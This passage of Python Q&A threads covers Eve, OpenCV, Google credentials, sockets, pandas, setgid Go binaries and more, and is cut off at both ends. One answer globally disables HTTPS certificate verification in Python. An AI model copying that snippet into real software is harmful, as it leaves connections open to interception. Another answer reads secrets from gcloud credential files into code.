you would still have normal atomic field updates (`$set`) on the standard
endpoint. Actually I think I like this approach better, as you don't lose
functionality and reduce complexity. For guidance on multiple endpoints
hitting the same datasource see [the docs](http://python-
eve.org/config.html#multiple-api-endpoints-one-datasource)
* * *
## Custom data layer
This is needed because you want to perform a `$push` instead of a `$set` when
`mycollection` is involved in a PATCH request. Something like this maybe:
from eve.io.mongo import Mongo
from flask import request
class MyMongo(Mongo):
def update(self, resource, id_, updates, original):
op = '$push' if resource == 'mycollection' else '$set'
return self._change_request(resource, id_, {op: updates}, original)
* * *
## Putting it all together
You then use your custom validator and data layers upon app initialisation:
app = Eve(validator=MyValidator, data=MyMongo)
app.run()
Again I did not test all of this; it's Sunday and I'm on the beach so it might
need some work but it _should_ work.
With all this being said, I am actually going to experiment with adding
support for push updates to the standard Mongo data layer. A new pair of
global/endpoint settings, like `MONGO_UPDATE_OPERATOR`/`mongo_update_operator`
are implemented on a private branch. The former defaults to `$set` so all API
endpoints still perform atomic field updates. One could decide that a certain
endpoint should perform something else, say a `$push`. Implementing validation
in a clean and elegant way is a little tricky but, assuming I find the time to
work on it, it is not unlikely that this could make it to Eve 0.6 or beyond.
Hope this helps.
|
Hough transform detect shorter lines
Question: Im using opencv hough transform to attempt to detect shapes. The longer lines
are all very nicely detected using the HoughLines method.but the shorter lines
are completely ignored. Is there any way to also detect the shorter lines?
the code I'm using is described on this page <http://opencv-python-
tutroals.readthedocs.org/en/latest/py_tutorials/py_imgproc/py_houghlines/py_houghlines.html>
I'm more interested in lines such as the corner of the house etc. which
parameter should I modify to do this with Hough transform? or is there a
different algorithm I should be looking at
Answer: On the link you provide look at
[HoughLinesP](http://docs.opencv.org/modules/imgproc/doc/feature_detection.html#houghlinesp)
import cv2
import numpy as np
img = cv2.imread('beach.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
edges = cv2.Canny(gray, 50, 150, apertureSize=3)
minLineLength = 100
maxLineGap = 5
lines = cv2.HoughLinesP(edges, 1, np.pi/180, 50, minLineLength, maxLineGap)
for x1, y1, x2, y2 in lines[0]:
cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
cv2.imwrite('canny5.jpg', edges)
cv2.imwrite('houghlines5.jpg', img)
Also look at the edge image generated from Canny. You should only be able to
find lines where lines exist in the edge image.
and here is the line detection output overlaid on your image: 
Play around with variables `minLineLength` and `maxLineGap` to get a more
desirable output. This method also does not give you the long lines that
HoughLines does, but looking at the Canny image, maybe those long lines are
not desirable in the first place.
|
How to initialize GoogleCredentials object without using credentials files created by gcloud auth login
Question: To connect to GCE i can use the credentials files created by _gcloud auth
login_. Like this:
from oauth2client.client import GoogleCredentials
from googleapiclient.discovery import build
credentials = GoogleCredentials.get_application_default()
compute = build('compute', 'v1', credentials=credentials)
def list_instances(compute, project, zone):
result = compute.instances().list(project=project, zone=zone).execute()
return result['items']
instances = list_instances(compute, 'project', 'zone')
Above code uses the credentials stored at ~/.config/gcloud
I would like to initialize GoogleCredentials object by directly setting values
inside the code. Like client_id, client_secret..
PS: Above code is from this link :
<https://cloud.google.com/compute/docs/tutorials/python-guide#gettingstarted>
Answer: There is another way to initialize GoogleCredentials object:
from oauth2client.client import GoogleCredentials
from googleapiclient.discovery import build
from oauth2client.client import AccessTokenCredentials
from urllib import urlencode
from urllib2 import Request , urlopen, HTTPError
import json
def access_token_from_refresh_token(client_id, client_secret, refresh_token):
request = Request('https://accounts.google.com/o/oauth2/token',
data=urlencode({
'grant_type': 'refresh_token',
'client_id': client_id,
'client_secret': client_secret,
'refresh_token': refresh_token
}),
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
)
response = json.load(urlopen(request))
return response['access_token']
access_token = access_token_from_refresh_token('client_id', 'client_secret', 'refresh_token')
credentials = AccessTokenCredentials(access_token, "MyAgent/1.0", None)
compute = build('compute', 'v1', credentials=credentials)
def list_instances(compute, project, zone):
result = compute.instances().list(project=project, zone=zone).execute()
return result['items']
instances = list_instances(compute, 'project', 'zone')
\-- values for client_id, secret, refresh_token taken from
~/.config/gcloud/credentials
|
Relative performance of large and small lists and bytearrays of boolean values
Question: I was writing a simple [Sieve of
Eratosthenes](http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes) in which one
produces a list of all of primes up to some number N without performing any
division or modular arithmetic. Abstractly, my implementation uses an array of
N boolean values which all start out False and are eventually flipped to True
over the course of the algorithm.
I wanted to know if this would be faster and/or use less memory if I
implemented it as a `list` of `0` and `1`, a `list` of `True` and `False`, or
a `bytearray` of `0` and `1`.
### Timing (python 2.7)
Using python 2.7, I found the following when using N = 10k and N = 30M:
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list(3000000)'
10 loops, best of 3: 1.42 sec per loop
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_byte(3000000)'
10 loops, best of 3: 1.23 sec per loop
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list2(3000000)'
10 loops, best of 3: 1.65 sec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list(10000)'
500 loops, best of 3: 3.59 msec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_byte(10000)'
500 loops, best of 3: 4.12 msec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list2(10000)'
500 loops, best of 3: 4.25 msec per loop
10k 3M
byte (01) 4.12 ms 1.23 s
list (01) 3.59 ms 1.42 s
list (TF) 4.25 ms 1.65 s
What surprises me is that for small values of N, the `list` of integers was
the best, and for large values of N, the `bytearray` was the best. The `list`
of True and False was always slower.
### Timing (python 3.3)
I also repeated the test in python 3.3:
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list(3000000)'
10 loops, best of 3: 2.05 sec per loop
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_byte(3000000)'
10 loops, best of 3: 1.76 sec per loop
$ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list2(3000000)'
10 loops, best of 3: 2.02 sec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list(10000)'
500 loops, best of 3: 5.19 msec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_byte(10000)'
500 loops, best of 3: 5.34 msec per loop
$ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list2(10000)'
500 loops, best of 3: 5.16 msec per loop
10k 3M
byte (01) 5.34 ms 1.76 s
list (01) 5.19 ms 2.05 s
list (TF) 5.16 ms 2.02 s
Here there was the same ordering with the `list` being better for small N, and
the `bytearray` for large N, but the `list` with `True` and `False` was not
significantly different than the `list` with `1` and `0`.
### Memory Use
The memory use was exactly the same in python 2.7 and 3.3. I used
`sys.getsizeof` on the `list` or `bytearray`, which was the same size at the
beginning and end of the algorithm.
>>> import sieve
>>> sieve.verbose = True
>>> x = sieve.soe_list(10000)
soe_list, 10000 numbers, size = 83120
>>> x = sieve.soe_byte(10000)
soe_byte, 10000 numbers, size = 10993
>>> x = sieve.soe_list2(10000)
soe_list2, 10000 numbers, size = 83120
>>> x = sieve.soe_list(3000000)
soe_list, 3000000 numbers, size = 26791776
>>> x = sieve.soe_byte(3000000)
soe_byte, 3000000 numbers, size = 3138289
>>> x = sieve.soe_list2(3000000)
soe_list2, 3000000 numbers, size = 26791776
10k 3M
byte (01) ~11k ~3.1M
list (01) ~83k ~27M
list (TF) ~83k ~27M
~~I was a bit surprised~ that the large`bytearray` used more memory than the
large `list` given that the large `bytearray` was faster.~~
EDIT: Oops, as pointed out in the comments, I read my own values wrong and
interpreted 27M as 2.7M. The list is really much bigger.
### The Question
Can anyone explain why this algorithm runs faster using a `list` for small N,
and faster using a `bytearray` for large N?
### Test code for reference
sieve.py:
import sys
if sys.version_info.major == 3:
xrange = range
verbose = False
def soe_byte(upper):
numbers = bytearray(0 for _ in xrange(0,upper+1))
if verbose:
print("soe_byte, {} numbers, size = {}".format(upper, sys.getsizeof(numbers)))
primes = []
cur = 2
while cur <= upper:
if numbers[cur] == 1:
cur += 1
continue
primes.append(cur)
for i in xrange(cur,upper+1,cur):
numbers[i] = 1
return primes
def soe_list(upper):
numbers = list(0 for _ in xrange(0,upper+1))
if verbose:
print("soe_list, {} numbers, size = {}".format(upper, sys.getsizeof(numbers)))
primes = []
cur = 2
while cur <= upper:
if numbers[cur] == 1:
cur += 1
continue
primes.append(cur)
for i in xrange(cur,upper+1,cur):
numbers[i] = 1
return primes
def soe_list2(upper):
numbers = list(False for _ in xrange(0,upper+1))
if verbose:
print("soe_list2, {} numbers, size = {}".format(upper, sys.getsizeof(numbers)))
primes = []
cur = 2
while cur <= upper:
if numbers[cur] == True:
cur += 1
continue
primes.append(cur)
for i in xrange(cur,upper+1,cur):
numbers[i] = True
return primes
Answer: > Can anyone explain why this algorithm runs faster using a list for small N,
> and faster using a bytearray for large N?
This is all very implementation-specific, but you'll see this kind of
phenomena occur commonly in practice where using smaller data types will
perform worse on small inputs and better on large.
For example, it's common to see this kind of thing happening if you're using
bitwise logic to extract the nth bit (where `n` is a variable) vs. just
working with an array of booleans. Extracting the nth bit from a byte requires
more instructions when `n` is a runtime variable than just setting the whole
byte, but the bitset uses less space.
Broadly speaking, it's generally because the instructions used to access those
smaller types are more expensive, but the hardware cache is so much faster
than DRAM access and the improved spatial locality you get from using smaller
types more than makes up for it as your input sizes get larger and larger.
In other words, spatial locality plays an increasingly important role as you
hit those bigger inputs, and smaller data types give you more of it (allowing
you to fit more adjacent elements into a cache line). You might also get
improved temporal locality (more frequently accessing the same adjacent
elements in a cache line). So even if the elements require more instructions
or more expensive instructions when they've been loaded into registers, that
overhead is more than compensated by the fact that now you're accessing more
memory from the cache.
Now as to why `bytearrays` might require more instructions or more expensive
instructions than a list of integers, I'm not sure. That's extremely case-by-
case, implementation-specific details. But perhaps in your case, it's trying
to load the nth element of a bytearray into dword-aligned boundaries and
dword-sized registers, for example, and having to extract the specific byte to
modify within the register using additional instructions and operands. This is
all speculation unless we know the exact machine instructions emitted by your
Python compiler/interpreter for your specific machine. But whatever the case
may be, your tests suggest that `bytearrays` require more expensive
instructions to access, but are much more cache-friendly (which more than
compensates as you hit those larger inputs).
In any case, you'll see this kind of thing happening a lot when it comes to
smaller data types vs. larger ones. This includes compression where processing
compressed data, created carefully with attention to hardware details like
alignment, can sometimes outperform uncompressed data because the additional
processing required to decompress data is compensated by the improved spatial
locality of the compressed data, but only for sufficiently-large inputs where
memory access starts to play a more critical role.
|
Embded Python Import Ctypes fails
Question: I'm using Python for .Net using python 2.7, I copied All the needed
directories from the Python2.7 into my Application Directory when I try to
import ctypes, in the interactive shell
import ctypes
the Error is
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\TesetPyNet\bin\Debug\lib\ctypes\__init__.py", line 10, in <module>
from _ctypes import Union, Structure, Array
ImportError: DLL load failed: The specified module could not be found.
what I'm asking is there is any away to set the path to the Dll folder.
Note: when I embeded python 3.4.3 into my c# app and copied the Directories of
python run-time into my app directory, It worked fine with importing ctypes,
even on OS with no already Installed versions of python
Answer: After some digging and inspection, _ctypes.pyd is nothing but an OS specific
(dynamic link library'for windows'-Shared object 'for UNIX like')
So when I inspected its dependencies,unlike python27.dll that depeneds on
msvcr100.dll.It depends on msvcr90.dll
so the solution is Only to copy msvcr90.dll into the working directory of the
application OR the DLLs directory, beside _ctypes.pyd
|
<class 'socket.error'>([Errno 111] Connection refused)
Question: I'm working on an home automation app using python, but since migration this
from my local setup to two physical machines(Server, Client) i am getting a
connection refused error:
> Traceback (most recent call last): File "/opt/web-
> apps/web2py/gluon/restricted.py", line 227, in restricted exec ccode in
> environment File "/opt/web-
> apps/web2py/applications/Home_Plugs/controllers/default.py", line 85, in
> File "/opt/web-apps/web2py/gluon/globals.py", line 393, in self._caller =
> lambda f: f() File "/opt/web-apps/web2py/gluon/tools.py", line 3440, in f
> return action(*a, **b) File "/opt/web-
> apps/web2py/applications/Home_Plugs/controllers/default.py", line 32, in
> toggle GPIO.setup(light.OnPin,GPIO.OUTPUT) File
> "applications/Home_Plugs/modules/GPIOClient.py", line 23, in setup File
> "applications/Home_Plugs/modules/GPIOClient.py", line 18, in send host =
> '192.168.1.79' File "/usr/lib64/python2.7/socket.py", line 224, in meth
> return getattr(self._sock,name)(*args) error: [Errno 111] Connection refused
**Server Code** :
#!/usr/bin/env python
import socket
import RPi.GPIO as GPIO
import sys
import logging
SETUP = chr(0)
OUTPUT = chr(1)
GPIO.setmode(GPIO.BOARD)
def gpio_setup(data):
pin,dir = ord(data[0]),ord(data[1])
GPIO.setup(pin,dir)
logging.gpioServerLog("setup" + str(pin) + str(dir))
return 0
def gpio_output(data):
pin,val = ord(data[0]),ord(data[1])
GPIO.output(pin,val)
logging.gpioServerLog("out" + str(pin) + str(val))
return 0
if __name__=='__main__':
HOST = ''
PORT = 21567
BUFSIZ = 1024
ADDR = (HOST, PORT)
serversock = socket.socket()
serversock.bind(ADDR)
serversock.listen(5)
while 1:
ret = None
logging.gpioServerLog('waiting for connection...')
clientsock, addr = serversock.accept()
logging.gpioServerLog('...connected from:' + str(addr))
data = clientsock.recv(BUFSIZ)
if data[0] == SETUP:
ret = gpio_setup(data[1:])
elif data[0] == OUTPUT:
ret = gpio_output(data[1:])
if ret:
clientsock.send('Thank you for conencting')
clientsock.send(ret)
clientsock.close()
**Client Code** :
#!/usr/bin/env python
# coding: utf8
import socket
import struct
SETUP_CMD = chr(0)
OUTPUT_CMD = chr(1)
OUTPUT = chr(0)
INPUT = chr(1)
ON = chr(1)
OFF = chr(0)
def send(data):
sock = socket.socket()
host = '192.168.1.79'
port = 21567
sock.connect((host,port))
sock.send(data)
sock.close
def setup(pin,dir):
data = struct.pack("ccc",SETUP_CMD,chr(pin),dir)
send(data)
def output(pin,val):
data = struct.pack("ccc",OUTPUT_CMD,chr(pin),val)
send(data)
**Machines** : Server - Raspbian Wheezy/Python 2.7 Client - CentOS 7/Python
2.7
I have disabled all firewalls to ensure no blocking of connections. Telnet
works
i also have a test client.py script whihc also works when ran from client
commandline:
#!/usr/bin/python
# This is client.py file
import socket # Import socket module
import GPIOClient as GPIO
import time
GPIO.setup(11,GPIO.OUTPUT)
GPIO.output(11,GPIO.ON)
time.sleep(1)
GPIO.setup(11,GPIO.INPUT)
Any help would be much appreciated
Any more information require please let me know
Thanks in Advance
Answer: Turns out there was 2 incorrect carriage returns in my GPIOClient.py
Remove and now all is working
|
Basic addition with Python, numbers don't add
Question: I'm pretty new to Python and I was trying to make a basic addition program.
Here is the source so far:
from os import system
import time
while True:
system("cls")
print "Number 1:"
num1 = raw_input()
system("cls")
print "Number 2:"
num2 = raw_input()
system("cls")
sum = num1 + num2
print sum
time.sleep(4)
It just puts num1 and num2 together instead of actually adding the numbers.
Like if I put 4 + 4 it'd do 44 instead of 8. I understand WHY it does this I
just want to know how to fix it.
Answer: You are summing strings, which results in concatenation, while you want to
treat the values as _numbers_ instead. Convert the string to a number first.
Use the [`int()`
function](https://docs.python.org/2/library/functions.html#int) to convert to
integer numbers, for example:
num1 = int(raw_input())
# ...
num2 = int(raw_input())
|
HTTPS proxy server python
Question: I have a problem with my ssl server (in Python). I set the SSL proxy
connection in my browser, and try to connect to my ssl server.
This is the server:
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True, certfile='server.crt', keyfile='server.key', do_handshake_on_connect=False)
httpd.serve_forever()
This is the error:
SSLError: [SSL: HTTPS_PROXY_REQUEST] https proxy request (_ssl.c:1750)
I try to connect to the server in the browser. its work if I went to address
"<https://127.0.0.1:443>". But, if I use in the server to proxy, I get the
error...
How can I fix this?
Answer: I don't think you understand how a proxy server for HTTPS works.
What you are doing is to create a plain HTTPS server. What you should do is to
create a HTTP server which handles the CONNECT request and creates a tunnel to
the requested target. See
<http://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_tunneling>
|
Python efficient socket communication
Question: i recently started making a pure skype resolver and after doing everything
fine i stuck on the socket communication.
## Let me explain
I'm using python to get the user's IP and then the script opens a socket
server and it sends the username to an other program written in .NET
Why is that? Well, the python skype API is not that powerfull so i'm using the
axSkype library in order to gather more info.
## The problem
The python socket sends the username as it should but i dont know the most
efficient way to get the info back. I was thinking opening a socket server in
the same script and wait for what the .NET program sends back.
I dont really kwon how to make this as fast as possible so i'm asking for your
help.
## The code
class api:
def GET(self, username):
skypeapi.activateSkype(username)
time.sleep(1) # because skype is ew
buf = []
print("==========================")
print("Resolving user " + username)
#This is where i'm starting the socket and sending data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 5756))
s.sendall(username)
s.close()
#at this poaint i want to get data back from the .NET app
for logfile in glob.glob('*.log'):
buf += logparse.search(logfile, username)
print("Done!")
print("==========================")
return json.dumps(buf)
class index:
def GET(self):
return render.index()
if __name__ == "__main__":
app.run()
Answer: You can bind your socket to the connection. This way, your socket stream will
remain open and you will be able to send and receive information easily.
Integrate this with the `_thread` module and you will be able to handle
multiple streams. Here is some example code that binds a socket to a stream
and just sends back whatever the clients sends it(Although in your case you
could send whatever data is necessary)
import socket
from _thread import *
#clientHandle function will just receive and send stuff back to a specific client.
def clientHandle(stream):
stream.send(str.encode("Enter some stuff: "))
while True:
#Here is where the program waits for a response. The 4000 is a buffer limit.
data = stream.recv(4000)
if not data:
#If there is not data, exit the loop.
break
stream.senddall(str.encode(data + "\n"))
#Creating socket.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "" #In this case the host is the localhost but you can put your host
port = 80
try:
#Here the program tries to bind the socket to the stream.
s.bind((host, port))
except socket.error as e:
print("There was an error: " + str(e))
#Main program loop. Uses multithreading to handle multiple clients.
while True:
conn, addr = s.accept()
print("Connected to: " + addr[0] + ": " + str(addr[1]))
start_new_thread(clientHandle,(conn,))
Now in your case, you can integrate this into your `api` class(Is that where
you want to integrate it? Correct me if I'm wrong.). So now when you define
and bind your socket, use this code:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
Where, in your case, `host` is `127.0.0.1`, in other words, your localhost,
which can also be accessed by `socket.gethostbyname(socket.gethostname())`(but
that's a bit verbose), and then `port`, which for you is `5756`. Once you have
bounded your socket, you have to accept connections through the following
syntax:
conn, addr = s.accept()
Which then you can pass `conn` and `addr` to whatever function or just use in
any other code.
Regardless of what you use it in, to receive data you can use `socket.recv()`
and pass it a buffer limit. (Remember to decode whatever you receive.) And of
course, you send data by using `socket.sendall()`.
If you combine this with the `_thread` module, as shown above, you can handle
multiple api requests, which could come handy in the future.
Hope this helps.
|
Disable ssl certificate validation in mechanize
Question: I am new to python and I was trying to access a website using mechanize.
br = mechanize.Browser()
r=br.open("https://172.22.2.2/")
Which gives me the following error:
Traceback (most recent call last):
File "<pyshell#4>", line 1, in <module>
br.open("https://172.22.2.2/")
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 203, in open
return self._mech_open(url, data, timeout=timeout)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 230, in _mech_open
response = UserAgentBase.open(self, request, data)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_opener.py", line 193, in open
response = urlopen(self, req, data)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 344, in _open
'_open', req)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 332, in _call_chain
result = func(*args)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 1170, in https_open
return self.do_open(conn_factory, req)
File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 1118, in do_open
raise URLError(err)
URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>
Can you tell me how to disable ssl certificate validation in mechanize in
python?
Also can you tell me how to include certificate if I get it? Thanks
Answer: Add this code snippet to disable HTTPS certificate validation before
br.open().
import ssl
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
|
read csv files pandas slice arrays
Question: I'm a python newbie and am having trouble reading a csv to pandas and working
with it. Here is a bit of my csv file:
A B
1 56
2 76
3 23
4 45
5 54
6 65
7 22
And my python code:
import numpy as np
import pandas as pd
from math import exp
from math import sqrt
g = pd.DataFrame.from_csv('test.csv')
a = g.iloc[2:4,1]
print(a)
I get the following error:
IndexError: index 1 is out of bounds for axis 0 with size 1
I've also tried:
a = g.iloc[2:4,'B']
and many other permutations for defining columns and rows.
Also when I print g, I get the following:
B
A
2015-05-01 56
2015-05-02 76
2015-05-03 23
2015-05-04 45
2015-05-05 54
2015-05-06 65
2015-05-07 22
I can't understand why A and B are not aligned.
I'm just using this an example, but in general I'd like to read in large csv
files and then perform operations on certain aspects of the matrix.
Any help would be appreciated.
Answer: Firstly don't use [`DataFrame.from_csv`](http://pandas.pydata.org/pandas-
docs/stable/generated/pandas.DataFrame.from_csv.html#pandas.DataFrame.from_csv)
it's no longer supported use the top level
[`read_csv`](http://pandas.pydata.org/pandas-
docs/stable/generated/pandas.read_csv.html#pandas.read_csv) instead.
So this:
a = g.iloc[2:4,1]
is wrong syntax, you want:
a = g.iloc[2:4]['A']
Secondly, by default `DataFrame.from_csv` uses the first column as the index
which is why column 'A' is your index, if you passed `index_col=None` then you
get the desired result:
In [6]:
pd.DataFrame.from_csv(file_path)
Out[6]:
B
A
1 56
2 76
3 23
4 45
5 54
6 65
7 22
In [7]:
pd.DataFrame.from_csv(file_path, index_col=None)
Out[7]:
A B
0 1 56
1 2 76
2 3 23
3 4 45
4 5 54
5 6 65
6 7 22
Correct syntax:
In [9]:
df.iloc[2:4]['A']
Out[9]:
2 3
3 4
Name: A, dtype: int64
Additionally [`read_csv`](http://pandas.pydata.org/pandas-
docs/stable/generated/pandas.read_csv.html#pandas.read_csv) the default for
`index_col` is `None` so your problem with the alignment would not have
happened if you had used `read_csv`.
Please check the [docs](http://pandas.pydata.org/pandas-
docs/stable/indexing.html) on indexing and selecting.
**EDIT**
As @Jeff suggested and I always agree with Jeff, for this kind of selection
`ix` is the typical selection method but it's behaviour differs from `iloc` in
that it does include the end row selection unlike `iloc`:
In [10]:
df.ix[2:4,'A']
Out[10]:
2 3
3 4
4 5
Name: A, dtype: int64
So I don't know what you wanted row selection-wise but be aware of the
different semantics.
|
Is SetGID/SetUID on a Go[lang] binary safe?
Question: I've written a simple
[go](/questions/tagged/go "show questions
tagged 'go'") program using YAML and the MySQL drivers with the intention of
providing a simple utility to update a database without exposing the username
and password credentials to the user executing the program.
(I'm well aware that I could also write this in Python or some other scripting
language and manage the permissions delegations using
[sudo](/questions/tagged/sudo "show questions tagged 'sudo'") but I'd like to
try a different approach here, for my own edification).
After building the program I've used `chgrp sys dbcreds.yaml && chmod 0640
dbcreds.yaml` and `chgrp sys ./myprog && chmod g+s ./myprog` (as root) ... and
everything seems to work. (I also tested that access was denied, as it should
be, prior to the setGID step).
I also tested `strace` results in permission denied (as it should be). (For
fun I also ran `ltrace -S` on it; this is under Linux. As expected I did not
see many normal libc function calls ... through I am surprised to have seen a
few _pthread_....()_ and one _malloc()_ calls in that listing. I guess the GO
runtime does link to some system library functions after all).
My question: is this safe? Is there any known way to cause a Go program, such
as this (below) to core dump or expose its memory after it has read these
private credentials? Is there a way to drop my SGID privs after I've read my
credentials? Are there any examples of SUID/SGID exploits on Go binaries? Is
there a better way to do this?
One other note: I find the **gopkg.in/yaml.v2** semantics to be a bit
disconcerting. In my YAML file I have something like:
---
user me
pw mypassword
But in my code I have to use **_User_** and **_Pw_** (capitalized) rather than
using lower case as I would have expected. I presume this is an implementation
decision by the authored of [Goyaml](http://gopkg.in/yaml.v2). Is that so?
#!go
package main
import (
"fmt"
"database/sql"
_ "github.com/go-sql-driver/mysql"
"gopkg.in/yaml.v2"
"io/ioutil"
"os"
"strconv"
)
type Creds struct {
User string
Pw string
}
func main() {
filename := "./dbcreds.yaml"
var creds Creds
conf, err := ioutil.ReadFile(filename)
if err != nil {
panic(err)
}
err = yaml.Unmarshal(conf, &creds)
if err != nil {
panic(err)
}
var arg1 int
arg1, err = strconv.Atoi(os.Args[1])
if err != nil {
panic(err.Error()) // Just for example purpose. You should use proper error handling instead of panic
}
fmt.Println("arg1: ", arg1, "\n")
dsn := fmt.Sprintf("%s:%s@/mydatabase", creds.User, creds.Pw)
db, err := sql.Open("mysql", dsn)
if err != nil {
panic(err.Error())
}
defer db.Close()
err = db.Ping()
if err != nil {
panic(err.Error())
}
stmtOut, err := db.Prepare("SELECT quant FROM c WHERE id >= ?")
if err != nil {
panic(err.Error())
}
defer stmtOut.Close()
rows, err := stmtOut.Query(arg1)
if err != nil {
panic(err.Error())
}
defer rows.Close()
for rows.Next() {
var quant int
err = rows.Scan(&quant)
if err != nil {
panic(err.Error())
}
fmt.Println(quant)
}
}
Answer: A setuid/setgid Go program is reasonably safe, with one major caveat. Go
setuid/setgid programs are in general no more, and no less, secure than C/C++
setuid/setgid programs.
It's true that you can force a Go program to dump core by running it with the
environment variable GOTRACEBACK=crash and then sending it a signal. However,
this is OK for your purposes because the Go program will (try to) create the
core dump by sending itself the SIGABRT signal. The kernel will not generate a
core dump for a setuid/setgid program killed by a signal.
The major caveat for Go is that on GNU/Linux systems you can not drop back to
the original user ID. This is because of how setuid (and setgid, setgroups,
setreuid, setregid, setresuid, and setresgid) are implemented for multi-
threaded programs on GNU/Linux. The details are at
<http://golang.org/issue/1435> .
On your final note Uw and Pw need to be capitalized because the standard
reflect package does not permit writing to unexported fields.
|
Building an animation using Python Gizeh
Question: I am able to create a simple diagram with shapes and numbers. I am using the
following code:
import gizeh as gz
W, H = 500, 300
surface = gz.Surface(W,H, bg_color=(1,0.7,1))
for a in range(1,9):
rect = gz.rectangle(lx = 10, ly = 10, xy=(W/a,H/a), fill =(0,1,0.7))
rect.draw(surface)
txt = gz.text(str(a), fontfamily="Dancing Script", fontsize=15, fill=(0,0,0),xy=(W/a,H/a))
txt.draw(surface)
surface.ipython_display()
I have also created a version using moviepy:
import numpy as np
import gizeh as gz
import moviepy.editor as mpy
W, H = 500, 300
duration = 5
figpath = '/tmp/'
fps = 1
def make_frame(t):
surface = gz.Surface(W,H, bg_color=(1,1,1))
rect = gz.rectangle(lx = 10, ly = 10, xy=(W/(t+1),H/2), fill =(0,1,0.7))
rect.draw(surface)
txt = gz.text(str(t+1), fontfamily="Dancing Script", fontsize=15, fill=(0,0,0),xy=(W/(t+1),H/2))
txt.draw(surface)
return surface.get_npimage()
clip = mpy.VideoClip(make_frame, duration=duration)
clip.write_videofile(figpath + 'trax_0.mp4', fps=fps)
clip.ipython_display(fps=fps, width=W, autoplay=0, loop=0)
I would like to be able to create animated GIF using a time delay between each
step of the cycle.
Answer: Try to use MoviePy - a module from the author of Gizeh.
Look at a good article where Gizeh and MoviePy are used for the animation:
<http://zulko.github.io/blog/2014/09/20/vector-animations-with-python/>
|
Python Uncertainties Unumpy type bug?
Question: I am having a hard time with pythons uncertainties package. I have to evaluate
experimental data with python, which I've been doing for a while but never
encountered the following problem:
>>>from uncertainties import ufloat
>>>from uncertainties import unumpy as unp
>>>u = ufloat(5, 1)
>>>l = unp.log(u)
>>>print(l)
1.61+/-0.2
Everything seems to be all right, right? But here comes the strange part:
>>>print(type(l))
<type 'numpy.ndarray'>
Which is a **huge** problem because this is how I encountered it:
>>>print(l.n)
AttributeError: 'numpy.ndarray' object has no attribute 'n'
Right now in my work I desperately need the nominal values and standard
devivations separately for linear regressions. What's really strange about
this and makes me think it actually is a bug is the fact, that printing the
variable actually works like intended but python "thinks" its type is an array
when its actually supposed to be an ufloat.
Any ideas or tips for an easy workaround? Do you think it is a bug or did I
miss anything and it is actually my mistake?
To prevent anybody from asking why I am doing such an easy calculation: That's
just an example of course. In my actual work I have many many much more
complex values stored in arrays.
Edit1: <https://pythonhosted.org/uncertainties/user_guide.html>
Edit2: Ok here is the code I am actually having problems with, the above was
just supposed to illustrate the problem.
d, t, n = loadtxt('mess_blei_gamma.txt', unpack=True)
fh = open('table_blei.txt', 'w')
nn = []
ln = []
for i in range(0, len(d)):
nn.append(norm(n[i], t[i], n0))
ln.append(unp.log(nn[i]))
fh.write(tex(str(d[i])+" & "+str(t[i])+" & "+str(n[i])+" & "+str(nn[i])+" & "+str(ln[i]))) #works how it's supposed to, the table is perfectly fine
fh.close()
print(unp.nominal_values(nn)) #works fine
print(unp.nominal_values(ln)) #error
Answer: First of all, many unumpy objects are basically numpy arrays:
>>>arr = unp.uarray([1, 2], [0.01, 0.002])
>>>arr
[1.0+/-0.01 2.0+/-0.002]
>>>type(arr)
<type 'numpy.ndarray'>
so you should not be surprised.
By the way, ufloat is a function and not a type:
>>>x = ufloat(0.20, 0.01) # x = 0.20+/-0.01
>>>print type(x)
<class 'uncertainties.Variable'>
>>>type(ufloat)
<type 'function'>
Secondly, in order to get the nominal values you should use:
unumpy.nominal_values(l)
EDIT: After you edited your original message, I think I understand your
problem. You can use unumpy.log outside the for loop like this:
>>>nn = [ ufloat(1, 2), ufloat(53, 4)]
>>>ln = unp.log(nn)
>>>ln
[0.0+/-2.0 3.970291913552122+/-0.07547169811320754]
>>>type(ln)
<type 'numpy.ndarray'>
>>>(unp.nominal_values(ln)) #now it works fine
[ 0. 3.97029191]
I also agree that this behavior is a bit weird.
A code that runs well and achieves your goal:
d, t, n = loadtxt('mess_blei_gamma.txt', unpack=True)
fh = open('table_blei.txt', 'w')
